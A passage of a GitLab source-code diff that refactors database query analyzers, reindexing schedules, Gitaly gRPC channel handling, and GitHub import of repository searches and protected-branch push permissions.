diff --git a/lib/gitlab/database/postgres_foreign_key.rb b/lib/gitlab/database/postgres_foreign_key.rb
index 241b6f009f7..d3ede45fe86 100644
--- a/lib/gitlab/database/postgres_foreign_key.rb
+++ b/lib/gitlab/database/postgres_foreign_key.rb
@@ -5,17 +5,44 @@ module Gitlab
class PostgresForeignKey < SharedModel
self.primary_key = :oid
+ # These values come from the possible confdeltype values in pg_constraint
+ enum on_delete_action: {
+ restrict: 'r',
+ cascade: 'c',
+ nullify: 'n',
+ set_default: 'd',
+ no_action: 'a'
+ }
+
scope :by_referenced_table_identifier, ->(identifier) do
raise ArgumentError, "Referenced table name is not fully qualified with a schema: #{identifier}" unless identifier =~ /^\w+\.\w+$/
where(referenced_table_identifier: identifier)
end
+ scope :by_referenced_table_name, ->(name) { where(referenced_table_name: name) }
+
scope :by_constrained_table_identifier, ->(identifier) do
raise ArgumentError, "Constrained table name is not fully qualified with a schema: #{identifier}" unless identifier =~ /^\w+\.\w+$/
where(constrained_table_identifier: identifier)
end
+
+ scope :by_constrained_table_name, ->(name) { where(constrained_table_name: name) }
+
+ scope :not_inherited, -> { where(is_inherited: false) }
+
+ scope :by_name, ->(name) { where(name: name) }
+
+ scope :by_constrained_columns, ->(cols) { where(constrained_columns: Array.wrap(cols)) }
+
+ scope :by_referenced_columns, ->(cols) { where(referenced_columns: Array.wrap(cols)) }
+
+ scope :by_on_delete_action, ->(on_delete) do
+ raise ArgumentError, "Invalid on_delete action #{on_delete}" unless on_delete_actions.key?(on_delete)
+
+ where(on_delete_action: on_delete)
+ end
end
end
end
diff --git a/lib/gitlab/database/postgres_partition.rb b/lib/gitlab/database/postgres_partition.rb
index eda11fd8382..e4f70ee1745 100644
--- a/lib/gitlab/database/postgres_partition.rb
+++ b/lib/gitlab/database/postgres_partition.rb
@@ -17,7 +17,9 @@ module Gitlab
for_identifier(identifier).first!
end
- scope :for_parent_table, ->(name) { where("parent_identifier = concat(current_schema(), '.', ?)", name).order(:name) }
+ scope :for_parent_table, ->(name) do
+ where("parent_identifier = concat(current_schema(), '.', ?)", name).order(:name)
+ end
def self.partition_exists?(table_name)
where("identifier = concat(current_schema(), '.', ?)", table_name).exists?
diff --git a/lib/gitlab/database/query_analyzer.rb b/lib/gitlab/database/query_analyzer.rb
index 1280789b30c..6f64d04270f 100644
--- a/lib/gitlab/database/query_analyzer.rb
+++ b/lib/gitlab/database/query_analyzer.rb
@@ -86,11 +86,7 @@ module Gitlab
analyzers.each do |analyzer|
next if analyzer.suppressed? && !analyzer.requires_tracking?(parsed)
- if analyzer.raw?
- analyzer.analyze(sql)
- else
- analyzer.analyze(parsed)
- end
+ analyzer.analyze(parsed)
rescue StandardError, ::Gitlab::Database::QueryAnalyzers::Base::QueryAnalyzerError => e
# We catch all standard errors to prevent validation errors to introduce fatal errors in production
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
diff --git a/lib/gitlab/database/query_analyzers/base.rb b/lib/gitlab/database/query_analyzers/base.rb
index 9c2c228f869..9a52a4f6e23 100644
--- a/lib/gitlab/database/query_analyzers/base.rb
+++ b/lib/gitlab/database/query_analyzers/base.rb
@@ -53,10 +53,6 @@ module Gitlab
Thread.current[self.context_key]
end
- def self.raw?
- false
- end
-
def self.enabled?
raise NotImplementedError
end
diff --git a/lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection.rb b/lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection.rb
index 3de9e8011fb..c966ae0e105 100644
--- a/lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection.rb
+++ b/lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection.rb
@@ -22,13 +22,16 @@ module Gitlab
return unless allowed_schemas
invalid_schemas = table_schemas - allowed_schemas
- if invalid_schemas.any?
- message = "The query tried to access #{tables} (of #{table_schemas.to_a}) "
- message += "which is outside of allowed schemas (#{allowed_schemas}) "
- message += "for the current connection '#{Gitlab::Database.db_config_name(parsed.connection)}'"
- raise CrossSchemaAccessError, message
- end
+ return if invalid_schemas.empty?
+
+ schema_list = table_schemas.sort.join(',')
+
+ message = "The query tried to access #{tables} (of #{schema_list}) "
+ message += "which is outside of allowed schemas (#{allowed_schemas}) "
+ message += "for the current connection '#{Gitlab::Database.db_config_name(parsed.connection)}'"
+
+ raise CrossSchemaAccessError, message
end
end
end
diff --git a/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb b/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb
index dd10e0d7992..713e1f772e3 100644
--- a/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb
+++ b/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb
@@ -87,15 +87,15 @@ module Gitlab
return if tables == ['schema_migrations']
context[:modified_tables_by_db][database].merge(tables)
- all_tables = context[:modified_tables_by_db].values.map(&:to_a).flatten
+ all_tables = context[:modified_tables_by_db].values.flat_map(&:to_a)
schemas = ::Gitlab::Database::GitlabSchema.table_schemas(all_tables)
schemas += ApplicationRecord.gitlab_transactions_stack
if schemas.many?
message = "Cross-database data modification of '#{schemas.to_a.join(", ")}' were detected within " \
- "a transaction modifying the '#{all_tables.to_a.join(", ")}' tables. " \
- "Please refer to https://docs.gitlab.com/ee/development/database/multiple_databases.html#removing-cross-database-transactions for details on how to resolve this exception."
+ "a transaction modifying the '#{all_tables.to_a.join(", ")}' tables. " \
+ "Please refer to https://docs.gitlab.com/ee/development/database/multiple_databases.html#removing-cross-database-transactions for details on how to resolve this exception."
if schemas.any? { |s| s.to_s.start_with?("undefined") }
message += " The gitlab_schema was undefined for one or more of the tables in this transaction. Any new tables must be added to lib/gitlab/database/gitlab_schemas.yml ."
diff --git a/lib/gitlab/database/query_analyzers/query_recorder.rb b/lib/gitlab/database/query_analyzers/query_recorder.rb
index b54f3442512..63b4fbb8c1d 100644
--- a/lib/gitlab/database/query_analyzers/query_recorder.rb
+++ b/lib/gitlab/database/query_analyzers/query_recorder.rb
@@ -5,21 +5,19 @@ module Gitlab
module QueryAnalyzers
class QueryRecorder < Base
LOG_PATH = 'query_recorder/'
+ LIST_PARAMETER_REGEX = %r{\$\d+(?:\s*,\s*\$\d+)+}.freeze
+ SINGLE_PARAMETER_REGEX = %r{\$\d+}.freeze
class << self
- def raw?
- true
- end
-
def enabled?
# Only enable QueryRecorder in CI on database MRs or default branch
ENV['CI_MERGE_REQUEST_LABELS']&.include?('database') ||
(ENV['CI_COMMIT_REF_NAME'].present? && ENV['CI_COMMIT_REF_NAME'] == ENV['CI_DEFAULT_BRANCH'])
end
- def analyze(sql)
+ def analyze(parsed)
payload = {
- sql: sql
+ normalized: normalize_query(parsed.sql)
}
log_query(payload)
@@ -42,6 +40,12 @@ module Gitlab
File.write(log_file, log_line, mode: 'a')
end
+
+ def normalize_query(query)
+ query
+ .gsub(LIST_PARAMETER_REGEX, '?,?,?') # Replace list parameters with ?,?,?
+ .gsub(SINGLE_PARAMETER_REGEX, '?') # Replace single parameters with ?
+ end
end
end
end
diff --git a/lib/gitlab/database/reindexing/coordinator.rb b/lib/gitlab/database/reindexing/coordinator.rb
index b4f7da999df..eca118a4ff2 100644
--- a/lib/gitlab/database/reindexing/coordinator.rb
+++ b/lib/gitlab/database/reindexing/coordinator.rb
@@ -4,7 +4,7 @@ module Gitlab
module Database
module Reindexing
class Coordinator
- include ExclusiveLeaseGuard
+ include IndexingExclusiveLeaseGuard
# Maximum lease time for the global Redis lease
# This should be higher than the maximum time for any
@@ -20,6 +20,8 @@ module Gitlab
end
def perform
+ return if too_late_for_reindexing?
+
# This obtains a global lease such that there's
# only one live reindexing process at a time.
try_obtain_lease do
@@ -32,26 +34,28 @@ module Gitlab
end
def drop
+ return if too_late_for_reindexing?
+
try_obtain_lease do
Gitlab::AppLogger.info("Removing index #{index.identifier} which is a leftover, temporary index from previous reindexing activity")
retries = Gitlab::Database::WithLockRetriesOutsideTransaction.new(
- connection: index.connection,
+ connection: connection,
timing_configuration: REMOVE_INDEX_RETRY_CONFIG,
klass: self.class,
logger: Gitlab::AppLogger
)
retries.run(raise_on_exhaustion: false) do
- index.connection.tap do |conn|
- conn.execute("DROP INDEX CONCURRENTLY IF EXISTS #{conn.quote_table_name(index.schema)}.#{conn.quote_table_name(index.name)}")
- end
+ connection.execute("DROP INDEX CONCURRENTLY IF EXISTS #{full_index_name}")
end
end
end
private
+ delegate :connection, to: :index
+
def with_notifications(action)
notifier.notify_start(action)
yield
@@ -73,8 +77,18 @@ module Gitlab
TIMEOUT_PER_ACTION
end
- def lease_key
- [super, index.connection_db_config.name].join('/')
+ def full_index_name
+ [
+ connection.quote_table_name(index.schema),
+ connection.quote_table_name(index.name)
+ ].join('.')
+ end
+
+ # We need to check the time explicitly because we execute 4 reindexing
+ # action per rake invocation and one action can take up to 24 hours.
+ # This means that it can span for more than the weekend.
+ def too_late_for_reindexing?
+ !Time.current.on_weekend?
end
end
end
diff --git a/lib/gitlab/database/reindexing/grafana_notifier.rb b/lib/gitlab/database/reindexing/grafana_notifier.rb
index ece9327b658..e43eddbefc0 100644
--- a/lib/gitlab/database/reindexing/grafana_notifier.rb
+++ b/lib/gitlab/database/reindexing/grafana_notifier.rb
@@ -60,7 +60,9 @@ module Gitlab
"Authorization": "Bearer #{@api_key}"
}
- success = Gitlab::HTTP.post("#{@api_url}/api/annotations", body: payload.to_json, headers: headers, allow_local_requests: true).success?
+ success = Gitlab::HTTP.post(
+ "#{@api_url}/api/annotations", body: payload.to_json, headers: headers, allow_local_requests: true
+ ).success?
log_error("Response code #{response.code}") unless success
diff --git a/lib/gitlab/database/reindexing/index_selection.rb b/lib/gitlab/database/reindexing/index_selection.rb
index 2d384f2f9e2..ebe245bfadb 100644
--- a/lib/gitlab/database/reindexing/index_selection.rb
+++ b/lib/gitlab/database/reindexing/index_selection.rb
@@ -12,6 +12,10 @@ module Gitlab
# Only consider indexes beyond this size (before reindexing)
INDEX_SIZE_MINIMUM = 1.gigabyte
+ VERY_LARGE_TABLES = %i[
+ ci_builds
+ ].freeze
+
delegate :each, to: :indexes
def initialize(candidates)
@@ -30,13 +34,24 @@ module Gitlab
# we force a N+1 pattern here and estimate bloat on a per-index
# basis.
- @indexes ||= candidates
- .not_recently_reindexed
- .where('ondisk_size_bytes >= ?', INDEX_SIZE_MINIMUM)
+ @indexes ||= relations_that_need_cleaning_before_deadline
.sort_by(&:relative_bloat_level) # forced N+1
.reverse
.select { |candidate| candidate.relative_bloat_level >= MINIMUM_RELATIVE_BLOAT }
end
+
+ def relations_that_need_cleaning_before_deadline
+ relation = candidates.not_recently_reindexed.where('ondisk_size_bytes >= ?', INDEX_SIZE_MINIMUM)
+ relation = relation.where.not(tablename: VERY_LARGE_TABLES) if too_late_for_very_large_table?
+ relation
+ end
+
+ # The reindexing process takes place during the weekends and starting a
+ # reindexing action on a large table late on Sunday could span during
+ # Monday. We don't want this because it prevents vacuum from running.
+ def too_late_for_very_large_table?
+ !Date.today.saturday?
+ end
end
end
end
diff --git a/lib/gitlab/database/schema_helpers.rb b/lib/gitlab/database/schema_helpers.rb
index 2c7ca28942e..d81ff4ff1ae 100644
--- a/lib/gitlab/database/schema_helpers.rb
+++ b/lib/gitlab/database/schema_helpers.rb
@@ -71,19 +71,6 @@ module Gitlab
"#{type}_#{hashed_identifier}"
end
- def with_lock_retries(*args, **kwargs, &block)
- raise_on_exhaustion = !!kwargs.delete(:raise_on_exhaustion)
- merged_args = {
- connection: connection,
- klass: self.class,
- logger: Gitlab::BackgroundMigration::Logger,
- allow_savepoints: true
- }.merge(kwargs)
-
- Gitlab::Database::WithLockRetries.new(**merged_args)
- .run(raise_on_exhaustion: raise_on_exhaustion, &block)
- end
-
def assert_not_in_transaction_block(scope:)
return unless transaction_open?
diff --git a/lib/gitlab/database/tables_truncate.rb b/lib/gitlab/database/tables_truncate.rb
index 807ecdb862a..daef0402742 100644
--- a/lib/gitlab/database/tables_truncate.rb
+++ b/lib/gitlab/database/tables_truncate.rb
@@ -40,11 +40,12 @@ module Gitlab
table_name: table_name,
connection: connection,
database_name: database_name,
+ with_retries: true,
logger: logger,
dry_run: dry_run
)
- unless lock_writes_manager.table_locked_for_writes?(table_name)
+ unless lock_writes_manager.table_locked_for_writes?
raise "Table '#{table_name}' is not locked for writes. Run the rake task gitlab:db:lock_writes first"
end
end
@@ -81,6 +82,22 @@ module Gitlab
sql_statement = "SELECT set_config('lock_writes.#{table_name_without_schema}', 'false', false)"
logger&.info(sql_statement)
connection.execute(sql_statement) unless dry_run
+
+ # Temporarily unlocking writes on the attached partitions of the table.
+ # Because in some cases they might have been locked for writes as well, when they used to be
+ # normal tables before being converted into attached partitions.
+ Gitlab::Database::SharedModel.using_connection(connection) do
+ table_partitions = Gitlab::Database::PostgresPartition.for_parent_table(table_name_without_schema)
+ table_partitions.each do |table_partition|
+ partition_name_without_schema = ActiveRecord::ConnectionAdapters::PostgreSQL::Utils
+ .extract_schema_qualified_name(table_partition.identifier)
+ .identifier
+
+ sql_statement = "SELECT set_config('lock_writes.#{partition_name_without_schema}', 'false', false)"
+ logger&.info(sql_statement)
+ connection.execute(sql_statement) unless dry_run
+ end
+ end
end
# We do the truncation in stages to avoid high IO
diff --git a/lib/gitlab/diff/file_collection/merge_request_diff_base.rb b/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
index c6ab56e783a..801c1967e0a 100644
--- a/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
+++ b/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
@@ -23,7 +23,9 @@ module Gitlab
strong_memoize(:diff_files) do
diff_files = super
- diff_files.each { |diff_file| highlight_cache.decorate(diff_file) }
+ Gitlab::Metrics.measure(:diffs_highlight_cache_decorate) do
+ diff_files.each { |diff_file| highlight_cache.decorate(diff_file) }
+ end
diff_files
end
diff --git a/lib/gitlab/error_tracking.rb b/lib/gitlab/error_tracking.rb
index 582c3380869..876a1cbb183 100644
--- a/lib/gitlab/error_tracking.rb
+++ b/lib/gitlab/error_tracking.rb
@@ -116,6 +116,20 @@ module Gitlab
process_exception(exception, extra: extra, trackers: [Logger])
end
+ # This should be used when you want to log the exception and passthrough
+ # exception handling: rescue and raise to be catched in upper layers of
+ # the application.
+ #
+ # If the exception implements the method `sentry_extra_data` and that method
+ # returns a Hash, then the return value of that method will be merged into
+ # `extra`. Exceptions can use this mechanism to provide structured data
+ # to sentry in addition to their message and back-trace.
+ def log_and_raise_exception(exception, extra = {})
+ process_exception(exception, extra: extra, trackers: [Logger])
+
+ raise exception
+ end
+
private
def before_send_raven(event, hint)
diff --git a/lib/gitlab/git_access.rb b/lib/gitlab/git_access.rb
index 344dd27589c..35b330fa089 100644
--- a/lib/gitlab/git_access.rb
+++ b/lib/gitlab/git_access.rb
@@ -49,7 +49,7 @@ module Gitlab
def self.error_message(key)
self.ancestors.each do |cls|
- return cls.const_get('ERROR_MESSAGES', false).fetch(key)
+ return cls.const_get(:ERROR_MESSAGES, false).fetch(key)
rescue NameError, KeyError
next
end
diff --git a/lib/gitlab/gitaly_client.rb b/lib/gitlab/gitaly_client.rb
index 735c7fcf80c..199257f767d 100644
--- a/lib/gitlab/gitaly_client.rb
+++ b/lib/gitlab/gitaly_client.rb
@@ -37,9 +37,8 @@ module Gitlab
@stubs[storage] ||= {}
@stubs[storage][name] ||= begin
klass = stub_class(name)
- addr = stub_address(storage)
- creds = stub_creds(storage)
- klass.new(addr, creds, interceptors: interceptors, channel_args: channel_args)
+ channel = create_channel(storage)
+ klass.new(channel.target, nil, interceptors: interceptors, channel_override: channel)
end
end
end
@@ -52,11 +51,29 @@ module Gitlab
private_class_method :interceptors
def self.channel_args
- # These values match the go Gitaly client
- # https://gitlab.com/gitlab-org/gitaly/-/blob/bf9f52bc/client/dial.go#L78
{
+ # These keepalive values match the go Gitaly client
+ # https://gitlab.com/gitlab-org/gitaly/-/blob/bf9f52bc/client/dial.go#L78
'grpc.keepalive_time_ms': 20000,
- 'grpc.keepalive_permit_without_calls': 1
+ 'grpc.keepalive_permit_without_calls': 1,
+ # Enable client-side automatic retry. After enabled, gRPC requests will be retried when there are connectivity
+ # problems with the target host. Only transparent failures, which mean requests fail before leaving clients, are
+ # eligible. Other cases are configurable via retry policy in service config (below). In theory, we can auto-retry
+ # read-only RPCs. Gitaly defines a custom field in service proto. Unfortunately, gRPC ruby doesn't support
+ # descriptor reflection.
+ # For more information please visit https://github.com/grpc/proposal/blob/master/A6-client-retries.md
+ 'grpc.enable_retries': 1,
+ # Service config is a mechanism for grpc to control the behavior of gRPC client. It defines the client-side
+ # balancing strategy and retry policy. The config receives a raw JSON string. The format is defined here:
+ # https://github.com/grpc/grpc-proto/blob/master/grpc/service_config/service_config.proto
+ 'grpc.service_config': {
+ # By default, gRPC uses pick_first strategy. This strategy establishes one single connection to the first
+ # target returned by the name resolver. We would like to use round_robin load-balancing strategy so that
+ # grpc creates multiple subchannels to all targets retrurned by the resolver. Requests are distributed to
+ # those subchannels in a round-robin fashion.
+ # More about client-side load-balancing: https://gitlab.com/groups/gitlab-org/-/epics/8971#note_1207008162
+ "loadBalancingConfig": [{ "round_robin": {} }]
+ }.to_json
}
end
private_class_method :channel_args
@@ -81,9 +98,20 @@ module Gitlab
address(storage).sub(%r{^tcp://|^tls://}, '')
end
+ # Cache gRPC servers by storage. All the client stubs in the same process can share the underlying connection to the
+ # same host thanks to HTTP2 framing protocol that gRPC is built on top. This method is not thread-safe. It is
+ # intended to be a part of `stub`, method behind a mutex protection.
+ def self.create_channel(storage)
+ @channels ||= {}
+ @channels[storage] ||= GRPC::ClientStub.setup_channel(
+ nil, stub_address(storage), stub_creds(storage), channel_args
+ )
+ end
+
def self.clear_stubs!
MUTEX.synchronize do
@stubs = nil
+ @channels = nil
end
end
diff --git a/lib/gitlab/gitaly_client/ref_service.rb b/lib/gitlab/gitaly_client/ref_service.rb
index 98b1d3dceef..74034c4e717 100644
--- a/lib/gitlab/gitaly_client/ref_service.rb
+++ b/lib/gitlab/gitaly_client/ref_service.rb
@@ -215,12 +215,6 @@ module Gitlab
consume_list_refs_response(response)
end
- def pack_refs
- request = Gitaly::PackRefsRequest.new(repository: @gitaly_repo)
-
- gitaly_client_call(@storage, :ref_service, :pack_refs, request, timeout: GitalyClient.long_timeout)
- end
-
def find_refs_by_oid(oid:, limit:, ref_patterns: nil)
request = Gitaly::FindRefsByOIDRequest.new(repository: @gitaly_repo, sort_field: :refname, oid: oid, limit: limit, ref_patterns: ref_patterns)
diff --git a/lib/gitlab/gitaly_client/repository_service.rb b/lib/gitlab/gitaly_client/repository_service.rb
index daaf18c711d..203854264ce 100644
--- a/lib/gitlab/gitaly_client/repository_service.rb
+++ b/lib/gitlab/gitaly_client/repository_service.rb
@@ -34,21 +34,6 @@ module Gitlab
gitaly_client_call(@storage, :repository_service, :prune_unreachable_objects, request, timeout: GitalyClient.long_timeout)
end
- def garbage_collect(create_bitmap, prune:)
- request = Gitaly::GarbageCollectRequest.new(repository: @gitaly_repo, create_bitmap: create_bitmap, prune: prune)
- gitaly_client_call(@storage, :repository_service, :garbage_collect, request, timeout: GitalyClient.long_timeout)
- end
-
- def repack_full(create_bitmap)
- request = Gitaly::RepackFullRequest.new(repository: @gitaly_repo, create_bitmap: create_bitmap)
- gitaly_client_call(@storage, :repository_service, :repack_full, request, timeout: GitalyClient.long_timeout)
- end
-
- def repack_incremental
- request = Gitaly::RepackIncrementalRequest.new(repository: @gitaly_repo)
- gitaly_client_call(@storage, :repository_service, :repack_incremental, request, timeout: GitalyClient.long_timeout)
- end
-
def repository_size
request = Gitaly::RepositorySizeRequest.new(repository: @gitaly_repo)
response = gitaly_client_call(@storage, :repository_service, :repository_size, request, timeout: GitalyClient.long_timeout)
diff --git a/lib/gitlab/github_gists_import/importer/gist_importer.rb b/lib/gitlab/github_gists_import/importer/gist_importer.rb
index a5e87d3cf7d..4018f425e7c 100644
--- a/lib/gitlab/github_gists_import/importer/gist_importer.rb
+++ b/lib/gitlab/github_gists_import/importer/gist_importer.rb
@@ -7,6 +7,7 @@ module Gitlab
attr_reader :gist, :user
FileCountLimitError = Class.new(StandardError)
+ FILE_COUNT_LIMIT_MESSAGE = 'Snippet maximum file count exceeded'
# gist - An instance of `Gitlab::GithubGistsImport::Representation::Gist`.
def initialize(gist, user_id)
@@ -76,7 +77,7 @@ module Gitlab
def fail_and_track(snippet)
remove_snippet_and_repository(snippet)
- ServiceResponse.error(message: 'Snippet max file count exceeded').track_exception(as: FileCountLimitError)
+ ServiceResponse.error(message: FILE_COUNT_LIMIT_MESSAGE).track_exception(as: FileCountLimitError)
end
end
end
diff --git a/lib/gitlab/github_import/client.rb b/lib/gitlab/github_import/client.rb
index 065410693e5..1c9ca9f43a8 100644
--- a/lib/gitlab/github_import/client.rb
+++ b/lib/gitlab/github_import/client.rb
@@ -264,18 +264,6 @@ module Gitlab
private
- def collaborations_subquery
- each_object(:repos, nil, { affiliation: 'collaborator' })
- .map { |repo| "repo:#{repo[:full_name]}" }
- .join(' ')
- end
-
- def organizations_subquery
- each_object(:organizations)
- .map { |org| "org:#{org[:login]}" }
- .join(' ')
- end
-
def with_retry
Retriable.retriable(on: CLIENT_CONNECTION_ERROR, on_retry: on_retry) do
yield
diff --git a/lib/gitlab/github_import/clients/proxy.rb b/lib/gitlab/github_import/clients/proxy.rb
index f6d1c8ed23c..b12df404640 100644
--- a/lib/gitlab/github_import/clients/proxy.rb
+++ b/lib/gitlab/github_import/clients/proxy.rb
@@ -10,24 +10,24 @@ module Gitlab
@client = pick_client(access_token, client_options)
end
- def repos(search_text, pagination_options)
+ def repos(search_text, options)
return { repos: filtered(client.repos, search_text) } if use_legacy?
if use_graphql?
- fetch_repos_via_graphql(search_text, pagination_options)
+ fetch_repos_via_graphql(search_text, options)
else
- fetch_repos_via_rest(search_text, pagination_options)
+ fetch_repos_via_rest(search_text, options)
end
end
private
- def fetch_repos_via_rest(search_text, pagination_options)
- { repos: client.search_repos_by_name(search_text, pagination_options)[:items] }
+ def fetch_repos_via_rest(search_text, options)
+ { repos: client.search_repos_by_name(search_text, options)[:items] }
end
- def fetch_repos_via_graphql(search_text, pagination_options)
- response = client.search_repos_by_name_graphql(search_text, pagination_options)
+ def fetch_repos_via_graphql(search_text, options)
+ response = client.search_repos_by_name_graphql(search_text, options)
{
repos: response.dig(:data, :search, :nodes),
page_info: response.dig(:data, :search, :pageInfo)
diff --git a/lib/gitlab/github_import/clients/search_repos.rb b/lib/gitlab/github_import/clients/search_repos.rb
index bcd226087e7..b72e5ac7751 100644
--- a/lib/gitlab/github_import/clients/search_repos.rb
+++ b/lib/gitlab/github_import/clients/search_repos.rb
@@ -14,18 +14,17 @@ module Gitlab
end
def search_repos_by_name(name, options = {})
+ search_query = search_repos_query(name, options)
+
with_retry do
- octokit.search_repositories(
- search_repos_query(str: name, type: :name),
- options
- ).to_h
+ octokit.search_repositories(search_query, options).to_h
end
end
private
def graphql_search_repos_body(name, options)
- query = search_repos_query(str: name, type: :name)
+ query = search_repos_query(name, options)
query = "query: \"#{query}\""
first = options[:first].present? ? ", first: #{options[:first]}" : ''
after = options[:after].present? ? ", after: \"#{options[:after]}\"" : ''
@@ -52,13 +51,49 @@ module Gitlab
TEXT
end
- def search_repos_query(str:, type:, include_collaborations: true, include_orgs: true)
- query = "#{str} in:#{type} is:public,private user:#{octokit.user.to_h[:login]}"
+ def search_repos_query(string, options = {})
+ base = "#{string} in:name is:public,private"
+
+ case options[:relation_type]
+ when 'organization' then organization_repos_query(base, options)
+ when 'collaborated' then collaborated_repos_query(base)
+ when 'owned' then owned_repos_query(base)
+ # TODO: remove after https://gitlab.com/gitlab-org/gitlab/-/issues/385113 get done
+ else legacy_all_repos_query(base)
+ end
+ end
+
+ def organization_repos_query(search_string, options)
+ "#{search_string} org:#{options[:organization_login]}"
+ end
+
+ def collaborated_repos_query(search_string)
+ "#{search_string} #{collaborations_subquery}"
+ end
+
+ def owned_repos_query(search_string)
+ "#{search_string} user:#{octokit.user.to_h[:login]}"
+ end
- query = [query, collaborations_subquery].join(' ') if include_collaborations
- query = [query, organizations_subquery].join(' ') if include_orgs
+ def legacy_all_repos_query(search_string)
+ [
+ search_string,
+ "user:#{octokit.user.to_h[:login]}",
+ collaborations_subquery,
+ organizations_subquery
+ ].join(' ')
+ end
+
+ def collaborations_subquery
+ each_object(:repos, nil, { affiliation: 'collaborator' })
+ .map { |repo| "repo:#{repo[:full_name]}" }
+ .join(' ')
+ end
- query
+ def organizations_subquery
+ each_object(:organizations)
+ .map { |org| "org:#{org[:login]}" }
+ .join(' ')
end
end
end
diff --git a/lib/gitlab/github_import/importer/protected_branch_importer.rb b/lib/gitlab/github_import/importer/protected_branch_importer.rb
index 801a0840c52..2077e0c6b11 100644
--- a/lib/gitlab/github_import/importer/protected_branch_importer.rb
+++ b/lib/gitlab/github_import/importer/protected_branch_importer.rb
@@ -4,7 +4,7 @@ module Gitlab
module GithubImport
module Importer
class ProtectedBranchImporter
- attr_reader :protected_branch, :project, :client
+ attr_reader :project
# By default on GitHub, both developers and maintainers can merge
# a PR into the protected branch
@@ -18,6 +18,7 @@ module Gitlab
@protected_branch = protected_branch
@project = project
@client = client
+ @user_finder = GithubImport::UserFinder.new(project, client)
end
def execute
@@ -32,11 +33,13 @@ module Gitlab
private
+ attr_reader :protected_branch, :user_finder
+
def params
{
name: protected_branch.id,
- push_access_levels_attributes: [{ access_level: push_access_level }],
- merge_access_levels_attributes: [{ access_level: merge_access_level }],
+ push_access_levels_attributes: push_access_levels_attributes,
+ merge_access_levels_attributes: merge_access_levels_attributes,
allow_force_push: allow_force_push?,
code_owner_approval_required: code_owner_approval_required?
}
@@ -55,7 +58,7 @@ module Gitlab
end
def code_owner_approval_required?
- return false unless project.licensed_feature_available?(:code_owner_approval_required)
+ return false unless licensed_feature_available?(:code_owner_approval_required)
return protected_branch.require_code_owner_reviews unless protected_on_gitlab?
@@ -83,7 +86,7 @@ module Gitlab
end
def update_project_push_rule
- return unless project.licensed_feature_available?(:push_rules)
+ return unless licensed_feature_available?(:push_rules)
return unless protected_branch.required_signatures
push_rule = project.push_rule || project.build_push_rule
@@ -91,12 +94,34 @@ module Gitlab
project.project_setting.update!(push_rule_id: push_rule.id)
end
- def push_access_level
- if protected_branch.required_pull_request_reviews
- Gitlab::Access::NO_ACCESS
+ def push_access_levels_attributes
+ if allowed_to_push_gitlab_user_ids.present?
+ @allowed_to_push_gitlab_user_ids.map { |user_id| { user_id: user_id } }
+ elsif protected_branch.required_pull_request_reviews
+ [{ access_level: Gitlab::Access::NO_ACCESS }]
else
- gitlab_access_level_for(:push)
+ [{ access_level: gitlab_access_level_for(:push) }]
+ end
+ end
+
+ def merge_access_levels_attributes
+ [{ access_level: merge_access_level }]
+ end
+
+ def allowed_to_push_gitlab_user_ids
+ return if protected_branch.allowed_to_push_users.empty? ||
+ !licensed_feature_available?(:protected_refs_for_users)
+
+ @allowed_to_push_gitlab_user_ids = []
+
+ protected_branch.allowed_to_push_users.each do |github_user_data|
+ gitlab_user_id = user_finder.user_id_for(github_user_data)
+ next unless gitlab_user_id
+
+ @allowed_to_push_gitlab_user_ids << gitlab_user_id
end
+
+ @allowed_to_push_gitlab_user_ids &= project_member_ids
end
# Gets the strictest merge_access_level between GitHub and GitLab
@@ -155,6 +180,14 @@ module Gitlab
ProtectedBranch::MergeAccessLevel::GITLAB_DEFAULT_ACCESS_LEVEL
end
+
+ def licensed_feature_available?(feature)
+ project.licensed_feature_available?(feature)
+ end
+
+ def project_member_ids
+ project.authorized_users.map(&:id)
+ end
end
end
end
diff --git a/lib/gitlab/github_import/representation/protected_branch.rb b/lib/gitlab/github_import/representation/protected_branch.rb
index d2a52b64bbf..eb9dd3bc247 100644
--- a/lib/gitlab/github_import/representation/protected_branch.rb
+++ b/lib/gitlab/github_import/representation/protected_branch.rb
@@ -10,7 +10,7 @@ module Gitlab
attr_reader :attributes
expose_attribute :id, :allow_force_pushes, :required_conversation_resolution, :required_signatures,
- :required_pull_request_reviews, :require_code_owner_reviews
+ :required_pull_request_reviews, :require_code_owner_reviews, :allowed_to_push_users
# Builds a Branch Protection info from a GitHub API response.
# Resource structure details:
@@ -19,6 +19,12 @@ module Gitlab
def self.from_api_response(branch_protection, _additional_object_data = {})
branch_name = branch_protection[:url].match(%r{/branches/(\S{1,255})/protection$})[1]
+ allowed_to_push_users = branch_protection.dig(:required_pull_request_reviews,
+ :bypass_pull_request_allowances,
+ :users)
+ allowed_to_push_users &&= allowed_to_push_users.map do |u|
+ Representation::User.from_api_response(u)
+ end
hash = {
id: branch_name,
allow_force_pushes: branch_protection.dig(:allow_force_pushes, :enabled),
@@ -26,7 +32,8 @@ module Gitlab
required_signatures: branch_protection.dig(:required_signatures, :enabled),
required_pull_request_reviews: branch_protection[:required_pull_request_reviews].present?,
require_code_owner_reviews: branch_protection.dig(:required_pull_request_reviews,
- :require_code_owner_reviews).present?
+ :require_code_owner_reviews).present?,
+ allowed_to_push_users: allowed_to_push_users.to_a
}
new(hash)
@@ -34,7 +41,13 @@ module Gitlab
# Builds a new Protection using a Hash that was built from a JSON payload.
def self.from_json_hash(raw_hash)
- new(Representation.symbolize_hash(raw_hash))
+ hash = Representation.symbolize_hash(raw_hash)
+
+ hash[:allowed_to_push_users].map! do |u|
+ Representation::User.from_json_hash(u)
+ end
+
+ new(hash)
end
# attributes - A Hash containing the raw Protection details. The keys of this
diff --git a/lib/gitlab/gon_helper.rb b/lib/gitlab/gon_helper.rb
index 12cdcf445f7..ceef072a710 100644
--- a/lib/gitlab/gon_helper.rb
+++ b/lib/gitlab/gon_helper.rb
@@ -57,6 +57,7 @@ module Gitlab
gon.current_user_fullname = current_user.name
